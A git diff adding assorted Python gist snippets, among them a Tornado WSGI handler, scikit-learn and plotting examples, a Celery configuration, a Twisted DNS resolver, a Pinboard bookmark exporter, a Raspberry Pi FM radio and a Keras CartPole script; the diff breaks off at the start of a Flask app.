Binary files /dev/null and b/hard-gists/5712436/._snippet.py differ
diff --git a/hard-gists/5712436/snippet.py b/hard-gists/5712436/snippet.py
new file mode 100644
index 00000000..5e4a3903
--- /dev/null
+++ b/hard-gists/5712436/snippet.py
@@ -0,0 +1,76 @@
+from concurrent import futures
+from tornado import escape, gen, web
+from tornado.wsgi import WSGIContainer
+
+
+class WSGIHandler(web.RequestHandler):
+    thread_pool_size = 10
+
+    def initialize(self, wsgi_application):
+        self.wsgi_application = wsgi_application
+
+    @web.asynchronous
+    @gen.coroutine
+    def get(self):
+        # based on wsgi.WSGIContainer
+        # TODO: handle iterator response
+        data = {}
+        response = []
+
+        def start_response(status, response_headers, exc_info=None):
+            data["status"] = status
+            data["headers"] = response_headers
+            return response.append
+        app_response = yield self.executor.submit(self.wsgi_application,
+            WSGIContainer.environ(self.request), start_response)
+        response.extend(app_response)
+        body = b"".join(response)
+        if hasattr(app_response, "close"):
+            yield self.executor.submit(app_response.close)
+        if not data:
+            raise Exception("WSGI app did not call start_response")
+
+        status_code, reason = data["status"].split(None, 1)
+        status_code = int(status_code)
+        headers = data["headers"]
+        body = escape.utf8(body)
+
+        self.set_status(status_code, reason)
+        for key, value in headers:
+            self.set_header(key, value)
+        self.write(body)
+
+    post = put = delete = head = options = get
+
+    @property
+    def executor(self):
+        cls = type(self)
+
+        if not hasattr(cls, '_executor'):
+            cls._executor = futures.ThreadPoolExecutor(cls.thread_pool_size)
+
+        return cls._executor
+
+
+def test():
+    import time
+
+    def simple_app(environ, start_response):
+        time.sleep(1)
+
+        status = '200 OK'
+        response_headers = [("Content-type", "text/plain")]
+        start_response(status, response_headers)
+        return ["Hello world!\n"]
+
+    application = web.Application([
+        (r'/.*', WSGIHandler, {'wsgi_application': simple_app}),
+    ])
+
+    from tornado import ioloop, log
+    log.enable_pretty_logging()
+    application.listen(8888)
+    ioloop.IOLoop.instance().start()
+
+if __name__ == '__main__':
+    test()
diff --git a/hard-gists/5716253/._snippet.py b/hard-gists/5716253/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5716253/._snippet.py differ
diff --git a/hard-gists/5716253/snippet.py b/hard-gists/5716253/snippet.py
new file mode 100644
index 00000000..6b2b2a73
--- /dev/null
+++ b/hard-gists/5716253/snippet.py
@@ -0,0 +1,13 @@
+import numpy as np
+import pylab as pl
+
+x = np.random.uniform(1, 100, 1000)
+y = np.log(x) + np.random.normal(0, .3, 1000)
+
+pl.scatter(x, y, s=1, label="log(x) with noise")
+pl.plot(np.arange(1, 100), np.log(np.arange(1, 100)), c="b", label="log(x) true function")
+pl.xlabel("x")
+pl.ylabel("f(x) = log(x)")
+pl.legend(loc="best")
+pl.title("A Basic Log Function")
+pl.show()
\ No newline at end of file
diff --git a/hard-gists/5717321/._snippet.py b/hard-gists/5717321/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5717321/._snippet.py differ
diff --git a/hard-gists/5717321/snippet.py b/hard-gists/5717321/snippet.py
new file mode 100644
index 00000000..955fd6d0
--- /dev/null
+++ b/hard-gists/5717321/snippet.py
@@ -0,0 +1,20 @@
+from sklearn.datasets import load_iris
+from sklearn.ensemble import RandomForestClassifier
+import pandas as pd
+import numpy as np
+
+iris = load_iris()
+df = pd.DataFrame(iris.data, columns=iris.feature_names)
+df['is_train'] = np.random.uniform(0, 1, len(df)) <= .75
+df['species'] = pd.Factor(iris.target, iris.target_names)
+df.head()
+
+train, test = df[df['is_train']==True], df[df['is_train']==False]
+
+features = df.columns[:4]
+clf = RandomForestClassifier(n_jobs=2)
+y, _ = pd.factorize(train['species'])
+clf.fit(train[features], y)
+
+preds = iris.target_names[clf.predict(test[features])]
+pd.crosstab(test['species'], preds, rownames=['actual'], colnames=['preds'])
\ No newline at end of file
diff --git a/hard-gists/5719077/._snippet.py b/hard-gists/5719077/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5719077/._snippet.py differ
diff --git a/hard-gists/5719077/snippet.py b/hard-gists/5719077/snippet.py
new file mode 100644
index 00000000..c2a0adba
--- /dev/null
+++ b/hard-gists/5719077/snippet.py
@@ -0,0 +1,16 @@
+from pymongo import Connection
+
+if __name__ == '__main__':
+  
+  # Connect to mongo
+  conn = Connection()
+  db = conn['canepi']
+  
+  # Set the search term
+  term = 'foo'
+  
+  # Run the search
+  results = db.command('text', 'healthmap', search=term)
+  
+  # Print the results
+  print(results)
diff --git a/hard-gists/5719341/._snippet.py b/hard-gists/5719341/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5719341/._snippet.py differ
diff --git a/hard-gists/5719341/snippet.py b/hard-gists/5719341/snippet.py
new file mode 100644
index 00000000..52fe46b1
--- /dev/null
+++ b/hard-gists/5719341/snippet.py
@@ -0,0 +1,162 @@
+
+import os
+import sys
+
+from kombu import Exchange, Queue
+from datetime import timedelta
+from config import cfg
+
+import log
+
+log.initLog(cfg.log)
+
+sys.path.append(os.path.dirname(os.path.basename(__file__)))
+
+
+_redis = cfg.redis
+_email = cfg.email
+
+REDIS_SERVER = "redis://:%s@%s:%d/%d" %(_redis['password'],_redis['host'],\
+                                                    _redis['port'],_redis['db'])
+
+BROKER_URL = REDIS_SERVER
+
+
+BROKER_POOL_LIMIT = 200
+
+BROKER_CONNECTION_TIMEOUT = 5
+BROKER_CONNECTION_RETRY = True
+BROKER_CONNECTION_MAX_RETRIES = 100
+
+BROKER_TRANSPORT_OPTIONS = {'visibility_timeout': 3600*12} # 12 hour
+
+# BROKER_HEARTBEAT
+# BROKER_HEARTBEAT_CHECKRATE
+
+
+# Only AMQP broker support using ssl  
+BROKER_USE_SSL = False 
+
+
+CELERY_RESULT_BACKEND =REDIS_SERVER
+
+CELERY_TIMEZONE = "Asia/Shanghai"
+
+CELERY_TASK_RESULT_EXPIRES = 3600*24  # 1 day
+
+CELERYD_CONCURRENCY = 6
+
+CELERY_TASK_SERIALIZER = 'json'
+CELERY_RESULT_SERIALIZER = 'json'
+
+CELERY_CACHE_BACKEND = "memory"
+
+CELERY_TASK_PUBLISH_RETRY = True
+CELERY_TASK_PUBLISH_RETRY_POLICY = {
+    'max_retries': 3,
+    'interval_start': 0,
+    'interval_step': 30,
+    'interval_max': 60,
+}
+
+
+CELERYD_POOL = "processes"
+
+
+CELERY_IMPORTS = (
+    'tasks',
+    'urlscan.tasks',
+    'codescan.tasks',
+    'webscan.tasks'
+)
+
+
+#################################################
+#: Queue and Route related configuration
+#################################################
+
+CELERY_DEFAULT_EXCHANGE_TYPE = 'direct'
+
+CELERY_QUEUES = (
+        Queue('errorhandler',Exchange('errorhandler'),routing_key='errorhandler'),
+        Queue('urlscan.log',Exchange('urlscan.log'),routing_key='urlscan.log'),
+        Queue('urlscan.spider',Exchange('urlscan.spider'),routing_key='urlscan.spider'),
+        Queue('webscan',Exchange('webscan'),routing_key='webscan'),
+        Queue('codescan',Exchange('codescan'),routing_key='codescan'),
+
+    )
+
+
+
+CELERY_ROUTES = ({
+    'webscan.errorhandler': {
+        'queue':'errorhandler',
+        'routing_key':'errorhandler'
+    }},
+
+    {
+    'webscan.urlscan.spider': {
+        'queue': 'urlscan.spider',
+        'routing_key': 'urlscan.spider'
+    }},
+
+    {
+    'webscan.urlscan.logextract': {
+        'queue': 'urlscan.log',
+        'routing_key': 'urlscan.log'
+    }},
+
+    {
+    'webscan.codescan': {
+        'queue': 'codescan',
+        'routing_key': 'codescan'
+    }},
+
+    {
+    'webscan.webscan': {
+        'queue': 'webscan',
+        'routing_key': 'webscan'
+    }},
+)
+
+
+
+#################################################
+#: Events configuration, Event can be used for monitor by flower
+#################################################
+CELERY_SEND_EVENTS = True
+CELERY_SEND_TASK_SENT_EVENT = True
+
+
+
+
+#################################################
+#: Log configuration
+#################################################
+CELERYD_HIJACK_ROOT_LOGGER = True
+CELERYD_LOG_COLOR = True
+CELERYD_LOG_FORMAT = "[%(asctime)s <%(processName)s>] %(levelname)s: %(message)s"
+CELERYD_TASK_LOG_FORMAT = "[%(asctime)s <%(task_name)s %(task_id)s>] %(levelname)s: %(message)s"
+CELERY_REDIRECT_STDOUTS = True
+
+
+
+
+
+#################################################
+#: E-mail configuration, Send mail to admin when task failed.
+#################################################
+CELERY_SEND_TASK_ERROR_EMAILS = True
+
+ADMINS = (
+    ("kenshin", "kenshin.acs@gmail.com"),
+)
+
+SERVER_EMAIL = _email['SERVER_EMAIL']
+
+EMAIL_HOST = _email['EMAIL_HOST']
+EMAIL_PORT = _email['EMAIL_PORT']
+EMAIL_HOST_USER = _email['EMAIL_HOST_USER']
+EMAIL_HOST_PASSWORD = _email['EMAIL_HOST_PASSWORD']
+
+
diff --git a/hard-gists/5720029/._snippet.py b/hard-gists/5720029/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5720029/._snippet.py differ
diff --git a/hard-gists/5720029/snippet.py b/hard-gists/5720029/snippet.py
new file mode 100644
index 00000000..7e718896
--- /dev/null
+++ b/hard-gists/5720029/snippet.py
@@ -0,0 +1,32 @@
+import arcpy
+import os
+
+def create_path(path):
+    if not os.path.exists(path):
+        print "Creating directory {}".format(path)
+        os.makedirs(path)
+
+
+# default application data dir; e.g. c:\Users\scw\AppData\Roaming
+app_data_path = os.getenv('APPDATA')
+
+# get current ArcGIS version
+arc_version = arcpy.GetInstallInfo()['Version']
+
+# change this path if you'd like the spatial references to be written 
+# out elsewhere, this is the default directory for .prj files.
+output_base = '{0}\\ESRI\\Desktop{1}\\ArcMap\\Coordinate Systems'.format(app_data_path, arc_version)
+create_path(output_base)
+
+for sr_name in arcpy.ListSpatialReferences():
+    # spatial reference names use a single \ separator, double them up.
+    sr_filename = "{}.prj".format(sr_name.replace("/", "\\"))
+    output_file = os.path.join(output_base, sr_filename)
+    output_dir = os.path.dirname(output_file)
+
+    # create this parent directory, if needed
+    create_path(output_dir)
+
+    with open(output_file, 'w') as prj_file:
+        sr = arcpy.SpatialReference(sr_name)
+        prj_file.write(sr.exportToString())
\ No newline at end of file
diff --git a/hard-gists/5722085/._snippet.py b/hard-gists/5722085/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5722085/._snippet.py differ
diff --git a/hard-gists/5722085/snippet.py b/hard-gists/5722085/snippet.py
new file mode 100644
index 00000000..2556ce67
--- /dev/null
+++ b/hard-gists/5722085/snippet.py
@@ -0,0 +1,76 @@
+from collections import Mapping
+
+from twisted.names import dns, server, client, cache
+from twisted.application import service, internet
+
+
+class MapResolver(client.Resolver):
+    def __init__(self, mapping, servers):
+        client.Resolver.__init__(self, servers=servers)
+
+        self.mapping = mapping
+        self.ttl = 10
+
+    def lookupAddress(self, name, timeout = None):
+        if name in self.mapping:
+            # We know the answer.
+            value = self.mapping[name]
+            return [
+                (
+                    dns.RRHeader(
+                        name, dns.A, dns.IN, self.ttl,
+                        dns.Record_A(value, self.ttl)
+                    ),
+                ),
+                (),
+                ()
+            ]
+        else:
+            # Ask our backend server.
+            return self._lookup(name, dns.IN, dns.A, timeout)
+
+
+class CustomMapping(Mapping):
+    def __init__(self, servers):
+        self._servers = servers
+
+    def __getitem__(self, key):
+        return self._servers[key]
+
+    def __iter__(self):
+        return self._servers.iterkeys()
+
+    def __len__(self):
+        return len(self._servers)
+
+
+# Our custom resolver.
+custom_mapping = CustomMapping({"example.com": "33.33.33.33"})
+
+# Upstream DNS server.
+upstream_dns = "8.8.8.8"
+
+# Setup Twisted application.
+application = service.Application('dnsserver', 1, 1)
+simpledns = MapResolver(custom_mapping, servers=[(upstream_dns, 53)])
+
+# Create protocols.
+f = server.DNSServerFactory(caches=[cache.CacheResolver()], clients=[simpledns])
+p = dns.DNSDatagramProtocol(f)
+f.noisy = p.noisy = False
+
+# Register both TCP and UDP on port 53.
+ret = service.MultiService()
+PORT = 53
+
+# Attach services to the parent.
+for (klass, arg) in [(internet.TCPServer, f), (internet.UDPServer, p)]:
+    s = klass(PORT, arg)
+    s.setServiceParent(ret)
+
+# Run as a twistd application.
+ret.setServiceParent(service.IServiceCollection(application))
+
+if __name__ == '__main__':
+    import sys
+    print "Usage: twistd -ny %s" % sys.argv[0]
diff --git a/hard-gists/5722696/._snippet.py b/hard-gists/5722696/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5722696/._snippet.py differ
diff --git a/hard-gists/5722696/snippet.py b/hard-gists/5722696/snippet.py
new file mode 100644
index 00000000..d6b74ce3
--- /dev/null
+++ b/hard-gists/5722696/snippet.py
@@ -0,0 +1,91 @@
+#!/usr/bin/env python
+
+"""
+This script is designed to generate a simple HTML file with _all_ of your
+Pinboard.in bookmarks.
+
+You should edit the `username`, `password`, `bookmark_filename`, and `tag`
+variables.
+
+Requirements:
+
+* requests
+* dateutil
+"""
+
+import subprocess
+import cgi
+import time
+
+import requests
+from dateutil import parser as date_parser
+
+# Your Pinboard username
+username = ""
+
+# The path where you'd like to store your HTML export
+bookmark_filename = "/Users/dan/Dropbox/PinboardBookmarks.html"
+
+# Your timezone
+local_timezone = "America/Los_Angeles"
+
+# (optional) A tag that you want to export by
+tag = "programming"
+
+# Your password
+password = None
+
+if not password:
+    # Alternatively (if on OS X), use the Mac OS X keychain
+    keychain_process = subprocess.Popen(["security", "find-internet-password", "-s", "pinboard.in", "-w"],
+           stdout=subprocess.PIPE)
+    trim_newlines = subprocess.Popen(["tr", "-d", "'\n'"],
+           stdin=keychain_process.stdout,
+           stdout=subprocess.PIPE)
+    keychain_process.stdout.close()
+    password, _ = trim_newlines.communicate()
+
+BOOKMARK_FORMAT = u"""<DT><A HREF="{href}" ADD_DATE="{time}" PRIVATE="{private}" TOREAD="{toread}" TAGS="{tags}">{description}</a>\n"""
+BOOKMARK_DESCRIPTION_FORMAT = u"""<DD>{extended}\n"""
+
+def quote(text):
+    return cgi.escape(text, quote=True).replace("\n", " ")
+
+url = "https://api.pinboard.in/v1/user/api_token?format=json"
+response = requests.get(url, auth=(username, password))
+auth_token = "{}:{}".format(username, response.json()['result'])
+
+if tag:
+    url = "https://api.pinboard.in/v1/posts/all?format=json&tag={}&auth_token={}".format(tag, auth_token)
+else:
+    url = "https://api.pinboard.in/v1/posts/all?format=json&auth_token={}".format(auth_token)
+
+response = requests.get(url)
+with open(bookmark_filename, 'w') as bookmark_file:
+    bookmark_file.write("""<!DOCTYPE NETSCAPE-Bookmark-file-1>
+<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
+<TITLE>Pinboard Bookmarks</TITLE>
+<H1>Bookmarks</H1>
+<DL><p>""")
+
+    for bookmark in response.json():
+        bookmark['description'] = quote(bookmark['description'])
+        bookmark['time'] = int(time.mktime(date_parser.parse(bookmark['time']).timetuple()))
+        bookmark['private'] = 0 if bookmark['shared'] == 'yes' else 1
+        bookmark['toread'] = 1 if bookmark['toread'] == 'yes' else 0
+
+        tags = bookmark['tags'].split()
+        if bookmark['toread'] == 1:
+            tags.append('toread')
+
+        bookmark['tags'] = ','.join(tags)
+        bookmark_file.write(BOOKMARK_FORMAT.format(**bookmark).encode("utf-8"))
+
+        if len(bookmark['extended']) > 0:
+            bookmark['extended'] = quote(bookmark['extended'])
+            bookmark_file.write(BOOKMARK_DESCRIPTION_FORMAT.format(**bookmark).encode("utf-8"))
+
+        bookmark_file.write("\n")
+
+    bookmark_file.write("""</DL></p>""")
+
diff --git a/hard-gists/5735359/._snippet.py b/hard-gists/5735359/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5735359/._snippet.py differ
diff --git a/hard-gists/5735359/snippet.py b/hard-gists/5735359/snippet.py
new file mode 100644
index 00000000..652ba1e6
--- /dev/null
+++ b/hard-gists/5735359/snippet.py
@@ -0,0 +1,25 @@
+from PIL import Image
+import numpy
+from skimage.filter import sobel
+from skimage.morphology import watershed
+from scipy import ndimage as nd
+
+grind = numpy.asarray(Image.open('grind.png')).mean(axis=2)
+
+edges = sobel(grind)
+markers = numpy.zeros_like(grind)
+
+# Grind is dark on white background (paper)
+markers[grind < 70] = 1
+markers[grind > 150] = 2
+
+labels, num_features = nd.label(markers == 1)
+
+areas = []
+for i in xrange(num_features):
+    total = (labels == i).sum()
+    if total < 4 or total > 1000:
+        continue
+    areas.append(total)
+
+print "mean {:.2f}".format(numpy.array(areas).mean())
diff --git a/hard-gists/57417446d9c2e986692b3c60069ebc45/._snippet.py b/hard-gists/57417446d9c2e986692b3c60069ebc45/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/57417446d9c2e986692b3c60069ebc45/._snippet.py differ
diff --git a/hard-gists/57417446d9c2e986692b3c60069ebc45/snippet.py b/hard-gists/57417446d9c2e986692b3c60069ebc45/snippet.py
new file mode 100644
index 00000000..fb42ae5e
--- /dev/null
+++ b/hard-gists/57417446d9c2e986692b3c60069ebc45/snippet.py
@@ -0,0 +1,193 @@
+#!/usr/bin/env python
+
+import threading
+import time
+import RPi.GPIO as GPIO
+
+GPIO.setmode(GPIO.BOARD)
+
+# GPIO pins
+
+# gpio readall
+# ...
+#[pi wedge]                   [physical GPIO.BOARD]
+# |  17 |   0 | GPIO. 0 |   IN | 0 | 11 || 12 | 0 | IN   | GPIO. 1 | 1   | 18  |
+# |  27 |   2 | GPIO. 2 |   IN | 0 | 13 || 14 |   |      | 0v      |     |     |
+# |  22 |   3 | GPIO. 3 |   IN | 0 | 15 || 16 | 0 | IN   | GPIO. 4 | 4   | 23  |
+# ...
+
+BUTTON_VOLUME_UP = 11
+BUTTON_VOLUME_DOWN = 12
+BUTTON_CHANNEL_UP = 13
+BUTTON_CHANNEL_DOWN = 15
+
+GPIO.setup([BUTTON_VOLUME_UP, BUTTON_VOLUME_DOWN, BUTTON_CHANNEL_UP, BUTTON_CHANNEL_DOWN],
+    # enable internal pull-down resistors to default the inputs low
+    # see https://sourceforge.net/p/raspberry-gpio-python/wiki/Inputs/
+    GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
+
+
+##################################################
+# Gnuradio Python Flow Graph
+# Title: Top Block
+# Generated: Sun Jun  5 09:59:50 2016
+##################################################
+
+from gnuradio import analog
+from gnuradio import audio
+from gnuradio import blocks
+from gnuradio import eng_notation
+from gnuradio import filter
+from gnuradio import gr
+from gnuradio.eng_option import eng_option
+from gnuradio.fft import window
+from gnuradio.filter import firdes
+from optparse import OptionParser
+import osmosdr
+
+class top_block(gr.top_block):
+
+    def __init__(self):
+        gr.top_block.__init__(self, "Top Block")
+
+        ##################################################
+        # Variables
+        ##################################################
+        self.samp_rate = samp_rate = 1e6
+        self.channel_width = channel_width = 200e3
+        self.channel_freq = channel_freq = 97.7e6
+        self.center_freq = center_freq = 97.9e6
+        self.audio_gain = audio_gain = 1.5
+
+        ##################################################
+        # Blocks
+        ##################################################
+        self.rational_resampler_xxx_0 = filter.rational_resampler_ccc(
+                interpolation=12,
+                decimation=5,
+                taps=None,
+                fractional_bw=None,
+        )
+        self.osmosdr_source_0 = osmosdr.source( args="numchan=" + str(1) + " " + "" )
+        self.osmosdr_source_0.set_sample_rate(samp_rate)
+        self.osmosdr_source_0.set_center_freq(97.9e6, 0)
+        self.osmosdr_source_0.set_freq_corr(0, 0)
+        self.osmosdr_source_0.set_dc_offset_mode(0, 0)
+        self.osmosdr_source_0.set_iq_balance_mode(0, 0)
+        self.osmosdr_source_0.set_gain_mode(False, 0)
+        self.osmosdr_source_0.set_gain(0, 0)
+        self.osmosdr_source_0.set_if_gain(20, 0)
+        self.osmosdr_source_0.set_bb_gain(20, 0)
+        self.osmosdr_source_0.set_antenna("", 0)
+        self.osmosdr_source_0.set_bandwidth(0, 0)
+          
+        self.low_pass_filter_0 = filter.fir_filter_ccf(int(samp_rate/channel_width), firdes.low_pass(
+        	1, samp_rate, 75e3, 25e3, firdes.WIN_BLACKMAN, 6.76))
+        self.blocks_multiply_xx_0 = blocks.multiply_vcc(1)
+        self.blocks_multiply_const_vxx_0 = blocks.multiply_const_vff((audio_gain, ))
+        self.audio_sink_0 = audio.sink(48000, "hw:0,1", True)
+        self.analog_wfm_rcv_0 = analog.wfm_rcv(
+        	quad_rate=480e3,
+        	audio_decimation=10,
+        )
+        self.analog_sig_source_x_0 = analog.sig_source_c(samp_rate, analog.GR_COS_WAVE, center_freq - channel_freq, 1, 0)
+
+        ##################################################
+        # Connections
+        ##################################################
+        self.connect((self.analog_sig_source_x_0, 0), (self.blocks_multiply_xx_0, 1))
+        self.connect((self.osmosdr_source_0, 0), (self.blocks_multiply_xx_0, 0))
+        self.connect((self.rational_resampler_xxx_0, 0), (self.analog_wfm_rcv_0, 0))
+        self.connect((self.low_pass_filter_0, 0), (self.rational_resampler_xxx_0, 0))
+        self.connect((self.blocks_multiply_xx_0, 0), (self.low_pass_filter_0, 0))
+        self.connect((self.blocks_multiply_const_vxx_0, 0), (self.audio_sink_0, 0))
+        self.connect((self.analog_wfm_rcv_0, 0), (self.blocks_multiply_const_vxx_0, 0))
+
+
+
+    def get_samp_rate(self):
+        return self.samp_rate
+
+    def set_samp_rate(self, samp_rate):
+        self.samp_rate = samp_rate
+        self.analog_sig_source_x_0.set_sampling_freq(self.samp_rate)
+        self.osmosdr_source_0.set_sample_rate(self.samp_rate)
+        self.low_pass_filter_0.set_taps(firdes.low_pass(1, self.samp_rate, 75e3, 25e3, firdes.WIN_BLACKMAN, 6.76))
+
+    def get_channel_width(self):
+        return self.channel_width
+
+    def set_channel_width(self, channel_width):
+        self.channel_width = channel_width
+
+    def get_channel_freq(self):
+        return self.channel_freq
+
+    def set_channel_freq(self, channel_freq):
+        self.channel_freq = channel_freq
+        self.analog_sig_source_x_0.set_frequency(self.center_freq - self.channel_freq)
+
+    def get_center_freq(self):
+        return self.center_freq
+
+    def set_center_freq(self, center_freq):
+        self.center_freq = center_freq
+        self.analog_sig_source_x_0.set_frequency(self.center_freq - self.channel_freq)
+
+    def get_audio_gain(self):
+        return self.audio_gain
+
+    def set_audio_gain(self, audio_gain):
+        self.audio_gain = audio_gain
+        self.blocks_multiply_const_vxx_0.set_k((self.audio_gain, ))
+
+class ButtonThread(threading.Thread):
+    def __init__(self, tb):
+        self.tb = tb
+        threading.Thread.__init__(self)
+
+    def run(self):
+        tb = self.tb
+
+        while True:
+            #print GPIO.input(BUTTON_VOLUME_UP), GPIO.input(BUTTON_VOLUME_DOWN), GPIO.input(BUTTON_CHANNEL_UP), GPIO.input(BUTTON_CHANNEL_DOWN)
+
+            # Volume controls
+            if GPIO.input(BUTTON_VOLUME_UP) == 1:
+                tb.set_audio_gain(tb.get_audio_gain() + 1)
+                print tb.get_audio_gain()
+                # TODO: smaller steps when near zero?
+                # TODO: don't let go below zero and wrap around
+
+            if GPIO.input(BUTTON_VOLUME_DOWN) == 1:
+                tb.set_audio_gain(tb.get_audio_gain() - 1)
+                print tb.get_audio_gain()
+                # TODO: limit to reasonable value that causes distortion
+
+            # Channel controls
+	    # TODO: ?
+            if GPIO.input(BUTTON_CHANNEL_UP) == 1:
+                # 0.4 MHz for expediency, most channels this far apart (though some 0.2)
+                tb.set_channel_freq(tb.get_channel_freq() + 0.4e6)
+                print tb.get_channel_freq()
+            if GPIO.input(BUTTON_CHANNEL_DOWN) == 1:
+                tb.set_channel_freq(tb.get_channel_freq() - 0.4e6)
+                print tb.get_channel_freq()
+
+            # TODO: edge-triggered?
+            time.sleep(0.1)
+
+if __name__ == '__main__':
+    import ctypes
+    import sys
+    parser = OptionParser(option_class=eng_option, usage="%prog: [options]")
+    (options, args) = parser.parse_args()
+    tb = top_block()
+    ButtonThread(tb).start()
+    tb.start()
+    try:
+        raw_input('Press Enter to quit: ')
+    except EOFError:
+        pass
+    tb.stop()
+    tb.wait()
diff --git a/hard-gists/5748e199a3bec164a867c9b654e5ffe5/._snippet.py b/hard-gists/5748e199a3bec164a867c9b654e5ffe5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5748e199a3bec164a867c9b654e5ffe5/._snippet.py differ
diff --git a/hard-gists/5748e199a3bec164a867c9b654e5ffe5/snippet.py b/hard-gists/5748e199a3bec164a867c9b654e5ffe5/snippet.py
new file mode 100644
index 00000000..8f4f65b3
--- /dev/null
+++ b/hard-gists/5748e199a3bec164a867c9b654e5ffe5/snippet.py
@@ -0,0 +1,164 @@
+import numpy as np
+import gym
+from gym.spaces import Discrete, Box
+from gym.wrappers import Monitor
+from keras.models import Sequential
+from keras.layers import Dense, Activation, Flatten
+
+
+# ================================================================
+# Policies
+# ================================================================
+
+class DeterministicDiscreteActionLinearPolicy(object):
+
+    def __init__(self, theta, model, ob_space, ac_space):
+        """
+        dim_ob: dimension of observations
+        n_actions: number of actions
+        theta: flat vector of parameters
+        """
+        dim_ob = ob_space.shape[0]
+        n_actions = ac_space.n
+
+        #assert len(theta) == (dim_ob + 1) * n_actions
+        #self.W = theta[0 : dim_ob * n_actions].reshape(dim_ob, n_actions)
+        #self.b = theta[dim_ob * n_actions : None].reshape(1, n_actions)
+
+        self.model = model
+
+        self.shapes = [w.shape for w in self.model.get_weights()]
+        self.sizes = [w.size for w in self.model.get_weights()]
+
+        self.model.set_weights(self._get_weights_list(theta))
+
+        self.model.compile(optimizer='sgd', loss='mse')
+
+
+    def _get_weights_list(self, weights_flat):
+        weights = []
+        pos = 0
+        for i_layer, size in enumerate(self.sizes):
+            arr = weights_flat[pos:pos+size].reshape(self.shapes[i_layer])
+            weights.append(arr)
+            pos += size
+
+        return weights
+
+    def act(self, ob):
+        """
+        """
+        batch = np.array([[ob]])
+        actions = self.model.predict_on_batch(batch).flatten()
+        return np.argmax(actions)
+
+class DeterministicContinuousActionLinearPolicy(object):
+
+    def __init__(self, theta, ob_space, ac_space):
+        """
+        dim_ob: dimension of observations
+        dim_ac: dimension of action vector
+        theta: flat vector of parameters
+        """
+        self.ac_space = ac_space
+        dim_ob = ob_space.shape[0]
+        dim_ac = ac_space.shape[0]
+        assert len(theta) == (dim_ob + 1) * dim_ac
+        self.W = theta[0 : dim_ob * dim_ac].reshape(dim_ob, dim_ac)
+        self.b = theta[dim_ob * dim_ac : None]
+
+    def act(self, ob):
+        a = np.clip(ob.dot(self.W) + self.b, self.ac_space.low, self.ac_space.high)
+        return a
+
+def do_episode(policy, env, num_steps, discount=1.0, render=False):
+    disc_total_rew = 0
+    ob = env.reset()
+    for t in xrange(num_steps):
+        a = policy.act(ob)
+        (ob, reward, done, _info) = env.step(a)
+        disc_total_rew += reward * discount**t
+        if render and t%3==0:
+            env.render()
+        if done: break
+    return disc_total_rew
+
+env = None
+def noisy_evaluation(theta, discount=0.90):
+    policy = make_policy(theta)
+    reward = do_episode(policy, env, num_steps, discount)
+    return reward
+
+def make_policy(theta):
+    if isinstance(env.action_space, Discrete):
+        return DeterministicDiscreteActionLinearPolicy(theta,
+            model, env.observation_space, env.action_space)
+    elif isinstance(env.action_space, Box):
+        return DeterministicContinuousActionLinearPolicy(theta,
+            env.observation_space, env.action_space)
+    else:
+        raise NotImplementedError
+
+# Task settings:
+env = gym.make('CartPole-v1') # Change as needed
+#env = Monitor(env, '/tmp/cartpole-experiment-1', force=True)
+
+# Alg settings:
+num_steps = 500 # maximum length of episode
+n_iter = 50 # number of iterations of ES
+batch_size = 25 # number of samples per batch
+#extra_std = 2.0
+#extra_decay_time = 10
+
+# Model
+# model = Sequential()
+# model.add(Flatten(input_shape=(1,) + env.observation_space.shape))
+# model.add(Dense(env.action_space.n))
+# model.add(Activation('softmax'))
+
+model = Sequential()
+model.add(Flatten(input_shape=(1,) + env.observation_space.shape))
+model.add(Dense(16))
+model.add(Activation('relu'))
+model.add(Dense(16))
+model.add(Activation('relu'))
+model.add(Dense(16))
+model.add(Activation('relu'))
+model.add(Dense(env.action_space.n))
+model.add(Activation('softmax'))
+
+sizes = [w.size for w in model.get_weights()]
+
+if isinstance(env.action_space, Discrete):
+    dim_theta = sum(sizes)
+elif isinstance(env.action_space, Box):
+    dim_theta = (env.observation_space.shape[0]+1) * env.action_space.shape[0]
+else:
+    raise NotImplementedError
+
+# Initialize mean and standard deviation
+epsilon_mean = np.zeros(dim_theta)
+sigma = 2
+epsilon_std = sigma * np.ones(dim_theta)
+theta = np.random.uniform(-1, 1, size=dim_theta)
+alpha = 0.001
+
+# Now, for the algorithm
+for itr in xrange(n_iter):
+    # Sample parameter vectors and evaluate rewards
+    #extra_cov = max(1.0 - itr / extra_decay_time, 0) * extra_std**2
+    epsilons = np.random.multivariate_normal(mean=epsilon_mean,
+                                           cov=np.diag(np.array(epsilon_std**2)),
+                                           size=batch_size)
+    rewards = np.array(map(noisy_evaluation, theta + sigma * epsilons))
+    
+    # standardize the rewards
+    rewards = (rewards - rewards.mean()) / rewards.std()
+    
+    # gradient ascent with score function estimator
+    theta += alpha * rewards.dot(epsilons) / (batch_size * sigma)
+
+    print "iteration %i. mean f: %8.3g. max f: %8.3g"%(itr, np.mean(rewards), np.max(rewards))
+    do_episode(make_policy(theta), env, num_steps, discount=0.90, render=True)
+
+env.close()
\ No newline at end of file
diff --git a/hard-gists/574fc95caee4c22f21ed/._snippet.py b/hard-gists/574fc95caee4c22f21ed/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/574fc95caee4c22f21ed/._snippet.py differ
diff --git a/hard-gists/574fc95caee4c22f21ed/snippet.py b/hard-gists/574fc95caee4c22f21ed/snippet.py
new file mode 100644
index 00000000..473c7958
--- /dev/null
+++ b/hard-gists/574fc95caee4c22f21ed/snippet.py
@@ -0,0 +1,92 @@
+from flask import Flask
+from flask.ext.sqlalchemy import SQLAlchemy
+
+app = Flask(__name__)
